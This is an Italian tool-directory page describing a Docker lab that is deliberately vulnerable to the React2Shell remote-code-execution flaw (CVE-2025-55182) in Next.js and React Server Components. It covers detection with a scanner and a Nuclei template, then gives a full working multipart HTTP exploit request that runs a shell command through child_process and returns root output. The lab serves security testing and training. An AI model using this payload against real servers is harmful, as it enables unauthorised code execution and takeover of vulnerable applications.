Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-55182 — Laboratorio basato su Docker per rilevare e sfruttare CVE-2025-55182 (React2Shell RCE) in Next.js/React Server Components, con configurazione vulnerabile preconfigurata e scanner PoC. | Kitploit
Strumenti/GitHubGitHub/l4rm4nd/cve-2025-55182
Scanner di Vulnerabilità WebAnalisi delle VulnerabilitàSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed TeamingLab e Pratica
GitHubl4rm4nd/cve-2025-55182

CVE-2025-55182

Laboratorio basato su Docker per rilevare e sfruttare CVE-2025-55182 (React2Shell RCE) in Next.js/React Server Components, con configurazione vulnerabile preconfigurata e scanner PoC.

Vedi Repository
86268 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

React2Shell PoC

Questa repository fornisce un ambiente minimale e volutamente vulnerabile per testare gli scanner di sicurezza sulla recente vulnerabilità critica di RCE (React2Shell) che colpisce React Server Components e Next.js.

CVE-2025-55182: Esiste una vulnerabilità di esecuzione remota di codice pre-autenticazione nelle versioni 19.0.0, 19.1.0, 19.1.1 e 19.2.0 di React Server Components, inclusi i seguenti pacchetti: react-server-dom-parcel, react-server-dom-turbopack e react-server-dom-webpack. Il codice vulnerabile deserializza in modo non sicuro i payload delle richieste HTTP verso gli endpoint delle Server Function.

CVE-2025-66478: Tiene traccia dell'impatto a valle sulle applicazioni Next.js che utilizzano l'App Router.

[!Warning] Questa configurazione è volutamente vulnerabile e non deve mai essere esposta a internet o utilizzata in produzione.


Cos'è questo

Questa app è un progetto Next.js molto piccolo che:

  • Fissa versioni vulnerabili di:
    • next: 16.0.6
    • react: 19.2.0
    • react-dom: 19.2.0
  • Usa una configurazione NextJS minima con app router e React server actions

[!TIP] Fissare react e react-dom è facoltativo, poiché una versione next interessata è suscettibile di default a causa dell'App Router.

Come eseguire

root@kitploit:~
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest

Come rilevare

Scanner di AssetNote

Usa lo scanner fornito da AssetNote:

root@kitploit:~
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt

python3 scanner.py -u http://127.0.0.1:3000

Restituirà:

root@kitploit:~
╰─(venv) ⠠⠵ python3 scanner.py -u http://127.0.0.1:3000             

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[VULNERABLE] http://127.0.0.1:3000 - Status: 303

Nuclei

root@kitploit:~
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000

Restituirà:

root@kitploit:~
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://127.0.0.1:3000

Come sfruttare la vulnerabilità

Payload HTTP PoC da qui.

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Restituirà:

root@kitploit:~
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195

0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

immagine
Scarica lo strumento